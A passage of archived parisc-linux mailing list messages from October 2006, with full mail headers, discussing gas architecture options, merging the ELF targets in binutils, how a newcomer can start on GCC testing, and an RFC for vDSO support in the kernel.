X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uiRwDK5iQEVsAujDZnVp+ppKNzg2NYJl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24050


--===============0062469753==
Content-type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="=-Ptt4tYHIoDBGnrHWTLtS"


--=-Ptt4tYHIoDBGnrHWTLtS
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Le dimanche 29 octobre 2006 =C3=A0 15:48 -0500, John David Anglin a =C3=A9c=
rit :
> I think that adding -march=3D{1.0, 1.1, 2.0, 2.0w} to the command
> line options is reasonable.  This together with .level could be
> used to select output format and arch.  I think .level overrides
> the command line option (warning needed).  .level should appear
> before any other directives.  If we need to become more specific
> about the ABI, then an -mabi option could be added.

Because gas calls bfd_openw before the source file has been read,
there's a limit to how much can be changed after that point.  If the
command line asks for 1.1, and the file contains .LEVEL 2.0w, I think
the only solution is to crash out hard.  Otherwise, a warning can be
displayed.

> The tricky part is handling both som and elf64 for hpux, and elf32
> and elf64 for linux.  It will take a fair bit of work to merge the
> bfd stuff.  It may be difficult to do this in a clean manner given
> that the elf and som targets are quite different.

I haven't looked beyond merging elf32 and elf64 yet.  So far I'm trying
to get this patch in before I move onto bfd.  I'd rather not maintain
this out of tree for long.

I have to admit that my target has mostly been for Linux, so elf32 and
elf64.  Are you hoping ideally to have a single gas that could do all
hppa targets?  I think that others have got backends that will do both
aout and elf and such.  I'd have to take a look to see how hard that
would be.

> I think the best plan would be to do the various merges before
> adding the option to select the arch at runtime.

I'd like to see the command line options go in right away (and have them
fail if the target isn't compiled in) so that gcc can be tweaked to pass
the command line options to gas if -m32 or -m64.

> The big problem in supporting multiple ABIs lies in GCC.  The som and
> elf64 targets are essentially incompatible.  There are a number of macros
> which change GCC's behavior depending on whether they are defined or not
> defined.  We have a number of macros that need to be defined in one case
> and not in the other.  Jeff Law used to say it wasn't worth the effort
> to merge the two ports.  I think the same problem is present in binutils
> and gdb.

I think I can at least get the elf targets merged for now in binutils,
which will reduce pain rather than increase it.  If I can get that patch
in, then I'll move along to look at SOM.

For what started off as a 5 line patch, the scope is growing a bit with
every email. =3D)

--
Jeff Bailey - http://www.raspberryginger.com/jbailey/

--=-Ptt4tYHIoDBGnrHWTLtS
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Ceci est une partie de message
	=?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?=

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (GNU/Linux)

iD8DBQBFRS1S5M5hmdCYCpkRAnAHAJ0Qm5m7MU/4whBUkRTfILji34ECSgCfRNGm
iLIewBUQxIIDqjHErqmYf5k=
=06jO
-----END PGP SIGNATURE-----

--=-Ptt4tYHIoDBGnrHWTLtS--


--===============0062469753==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0062469753==--



From - Thu Nov 08 21:35:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit Userland
Date: Sun, 29 Oct 2006 21:58:50 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <119aab440610291758pcc33aaelb679d1c42bed62ef@mail.gmail.com>
References: <A95DDDB4-BE43-42F9-BC91-4D0438118952@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624203 21462 80.91.229.3 (22 Nov 2014 02:43:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Alan Mock" <alan.mock@gmail.com>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Oct 2006 15:39:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 30 Oct 2006 16:39:08 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B5D317D71B;
	Mon, 30 Oct 2006 08:38:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23302-06; Mon, 30 Oct 2006 08:38:33 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EF3AE7D92A;
	Mon, 30 Oct 2006 08:36:42 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E4BC7D818
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 18:58:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10199-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 18:58:53 -0700 (MST)
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.184])
	by free.linux.hp.com (Postfix) with ESMTP id DC9187D808
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 18:58:52 -0700 (MST)
Original-Received: by nf-out-0910.google.com with SMTP id k27so891805nfc
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 17:58:51 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=dQIuD08fxzu6B5yLk6+IVIUHq3+kVjnalX8L9xCpwe+RYK59jHbsnp2T7xMhhTO99lLWA6I/sp49/lizs//nszdzV2cNwnDDlQzNQbsrRRGcrr+gT92dPjaAjee2vb1Z9J7sy6TTtPH5I/zo3C/3mugjkyJhaKz32HKc4lt88iQ=
Original-Received: by 10.78.157.8 with SMTP id f8mr3986383hue;
	Sun, 29 Oct 2006 17:58:50 -0800 (PST)
Original-Received: by 10.78.147.11 with HTTP; Sun, 29 Oct 2006 17:58:50 -0800 (PST)
In-Reply-To: <A95DDDB4-BE43-42F9-BC91-4D0438118952@gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: 8b1edbd537ed1701
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yVgMAq5Ca2A7W7vDOHQyHOYyOWhhageP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24051

On 10/23/06, Alan Mock <alan.mock@gmail.com> wrote:
> Hello,
>
> Is there currently any work being done on a 64-bit userland for
> Linux?  I can't find any recent references to it.
> Thanks,

Would you like to work on it?

There is quite a bit of work to do in our 32-bit port aswell if you
are interested in toolchain hacking.

Cheers,
Carlos
(Back from the land of "moving to a new condo")
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Mock <alan.mock@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit Userland
Date: Sun, 29 Oct 2006 21:44:23 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <62A625B5-C6B7-4266-ABA5-9F178D00EAEB@gmail.com>
References: <A95DDDB4-BE43-42F9-BC91-4D0438118952@gmail.com>
	<119aab440610291758pcc33aaelb679d1c42bed62ef@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v752.2)
Content-Type: text/plain;
  charset=US-ASCII;
  delsp=yes;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624203 21468 80.91.229.3 (22 Nov 2014 02:43:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Oct 2006 15:39:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 30 Oct 2006 16:39:50 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 557257D93D;
	Mon, 30 Oct 2006 08:38:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23402-06; Mon, 30 Oct 2006 08:38:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0A4A87D942;
	Mon, 30 Oct 2006 08:36:46 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9561C7D81D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 20:44:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11271-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 20:44:33 -0700 (MST)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.202])
	by free.linux.hp.com (Postfix) with ESMTP id 362F27D818
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 20:44:33 -0700 (MST)
Original-Received: by nz-out-0102.google.com with SMTP id i1so1187455nzh
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 19:44:32 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:in-reply-to:references:mime-version:content-type:message-id:cc:content-transfer-encoding:from:subject:date:to:x-mailer;
	b=HJgxz9z5PUzUBu+ld121UU5bPkbiFdiDhqPmmGjekS/emTJ4HPRyWSBe599rH1BygdTY6VrENrgQ2DGqMouy+3jybNTTeogQ097nM80+hx2dgAWgUTa4g+2NF4m9nP0UQLymXd5yhI2dzvnuYGjWkiZjXDQUvKYmc2L8oKAIP/I=
Original-Received: by 10.35.53.18 with SMTP id f18mr4040672pyk;
	Sun, 29 Oct 2006 19:44:32 -0800 (PST)
Original-Received: from ?129.93.191.42? ( [129.93.191.42])
	by mx.google.com with ESMTP id 38sm10111238nzk.2006.10.29.19.44.31;
	Sun, 29 Oct 2006 19:44:31 -0800 (PST)
In-Reply-To: <119aab440610291758pcc33aaelb679d1c42bed62ef@mail.gmail.com>
X-Mailer: Apple Mail (2.752.2)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8Sl0fdMWPjltCOrBOTU24uMzMTE2Ncl9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24052

I would like to work on it, but I don't think I know enough to get  
started on my own.  I wouldn't mind working on the 32-bit port,  
either.  Is there a list somewhere of things that need work?
Thanks,
Alan
On Oct 29, 2006, at 7:58 PM, Carlos O'Donell wrote:

> On 10/23/06, Alan Mock <alan.mock@gmail.com> wrote:
>> Hello,
>>
>> Is there currently any work being done on a 64-bit userland for
>> Linux?  I can't find any recent references to it.
>> Thanks,
>
> Would you like to work on it?
>
> There is quite a bit of work to do in our 32-bit port aswell if you
> are interested in toolchain hacking.
>
> Cheers,
> Carlos
> (Back from the land of "moving to a new condo")

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit Userland
Date: Mon, 30 Oct 2006 10:43:25 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <119aab440610300743y2eae2a5fje17535527eb17860@mail.gmail.com>
References: <A95DDDB4-BE43-42F9-BC91-4D0438118952@gmail.com>
	<119aab440610291758pcc33aaelb679d1c42bed62ef@mail.gmail.com>
	<62A625B5-C6B7-4266-ABA5-9F178D00EAEB@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624203 21474 80.91.229.3 (22 Nov 2014 02:43:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:23 +0000 (UTC)
To: "Alan Mock" <alan.mock@gmail.com>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Oct 2006 15:43:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 30 Oct 2006 16:43:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ADCE37D651;
	Mon, 30 Oct 2006 08:43:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25064-04; Mon, 30 Oct 2006 08:43:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B3EDA7D686;
	Mon, 30 Oct 2006 08:43:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 439C17D41B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Oct 2006 08:43:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24813-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Oct 2006 08:43:29 -0700 (MST)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.238])
	by free.linux.hp.com (Postfix) with ESMTP id DC29A7D418
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Oct 2006 08:43:29 -0700 (MST)
Original-Received: by wr-out-0506.google.com with SMTP id 67so263528wri
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Oct 2006 07:43:27 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=iA7o3e67ftyl/jOXAF7RBDRmkERpfIEkJPJmdgN+W5cPfzhtmFH0K0cNtln5ciDIOkJ8GJb1kiPxZpiDA7+Q72M5QV7c74uUEKR8wOQgl0Q/XYLQw6JzP5JBPDrRm8w7oLNTNksEF6TyTCMuwEWJJ8K5OSQ3wkop+I1UbcGksF4=
Original-Received: by 10.78.204.7 with SMTP id b7mr5097573hug;
	Mon, 30 Oct 2006 07:43:26 -0800 (PST)
Original-Received: by 10.78.147.11 with HTTP; Mon, 30 Oct 2006 07:43:25 -0800 (PST)
In-Reply-To: <62A625B5-C6B7-4266-ABA5-9F178D00EAEB@gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: 4f2df163825d41c3
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nWdzLYNPZDI4DLHGdWY2orJxemhmY0Hd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24053

On 10/29/06, Alan Mock <alan.mock@gmail.com> wrote:
> I would like to work on it, but I don't think I know enough to get
> started on my own.  I wouldn't mind working on the 32-bit port,
> either.  Is there a list somewhere of things that need work?

A great place to start is with our compiler. I would start by learning
to build and test GCC on your parisc-linux system.

http://gcc.gnu.org

You can use SVN to checkout the latest "trunk" of GCC, then run

configure --enable-languages=c,c++
make bootstrap
make -k check

Post the results of the testsuite to the list.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] vdso for parisc-linux
Date: Mon, 30 Oct 2006 11:25:09 -0500
Lines: 79
Approved: news@gmane.org
Message-ID: <119aab440610300825l4cfd056fi21738f63f3d99d72@mail.gmail.com>
References: <4544A34A.6080700@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624204 21483 80.91.229.3 (22 Nov 2014 02:43:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:24 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Oct 2006 16:25:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 30 Oct 2006 17:25:28 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ADDBA7D8AA;
	Mon, 30 Oct 2006 09:25:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28004-08; Mon, 30 Oct 2006 09:25:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A42707D894;
	Mon, 30 Oct 2006 09:25:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 48DC87D880
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Oct 2006 09:25:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28004-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Oct 2006 09:25:13 -0700 (MST)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.236])
	by free.linux.hp.com (Postfix) with ESMTP id D0D4E7D871
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Oct 2006 09:25:13 -0700 (MST)
Original-Received: by wr-out-0506.google.com with SMTP id 67so281414wri
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Oct 2006 08:25:11 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=Y3XY5nPqqOVn25nJxIPJhizYXLcBI+OcDFNEUw0wbVHtp93risRYQXvFgVVthnZMwnHbamBV+JYJh4TBUFupUE4517cqdpiOAtXKRgCKc0BtJNYNqsdV3JC249h3S2cttFTHEKCusUGeJemahQwEarDOqrroaVgxfR/yBlg4f78=
Original-Received: by 10.78.185.16 with SMTP id i16mr5163447huf;
	Mon, 30 Oct 2006 08:25:09 -0800 (PST)
Original-Received: by 10.78.147.11 with HTTP; Mon, 30 Oct 2006 08:25:09 -0800 (PST)
In-Reply-To: <4544A34A.6080700@tausq.org>
Content-Disposition: inline
X-Google-Sender-Auth: 8d8163c5af955df7
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HlYvKpQdMydyf4igZWpl9pZraGRhZprU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24054

On 10/29/06, Randolph Chung <randolph@tausq.org> wrote:
> At kyle's urging, i've started an initial implementation of vdso support
>   for parisc-linux. I've attached what I have so far for some initial
> comments. This is primarily based on the ppc vdso infrastructure.

Awesome work, thanks for working on a vDSO initial implementation!

> Some things to consider:
> 1) The vdso object need to be mapped to userspace apps at some "default"
> location. In fact the kernel will look for an available vma using
> get_unmapped_area(). Right now I've arbitrarily picked 0x8000'0000. This
> should be reviewed.... one idea is to just map them at at the same place
> that shared libs are mapped (near 0x4000'0000). The bigger concern is
> whether we should make the mapping with MAP_SHARED so that the shared
> area is mapped congruent in all userspace apps that use the vdso. ppc
> doesn't do this.

Users may enable or disable the vDSO on their system as a
configuration option. Therefore glibc can't rely on the vDSO being
present. How would this effect a prelinking implementation for hppa? I
think I would rather see the vDSO at a high address, and enable
MAP_SHARED. What is wrong with enabling MAP_SHARED?

> 2) our mmu_context_t used to be a single int that stores the space id of
> the current process. This has been extended into a struct that stores
> the space id and the vdso base address

This is good, we need the vdso base.

> 4) I haven't hooked up all the actual vdso functions yet, but with this
> patch userspace can see the functions exposed from the kernel, we can
> use gdb to put breakpoints in the vdso, etc.

You use the word "can", but have you tried to put breakpoints in the
vDSO code pages?

> 5) We need to figure out which functions we want to expose. Several
> other archs expose gettimeofday and clock_get_time via vdso. For us,
> atomic ops are also prime candidates. Several archs also use the vdso to
> provide a cleaner signal trampoline interface. The latter mostly
> requires somebody to write up all the proper cfi instructions into
> sigtramp.S

atomic ops are *not* prime candidates for vDSO's, I was wrong about
this. There are special requirements for the atomic operations which
require access to kernel locks, no scheduling, and no signals.  All of
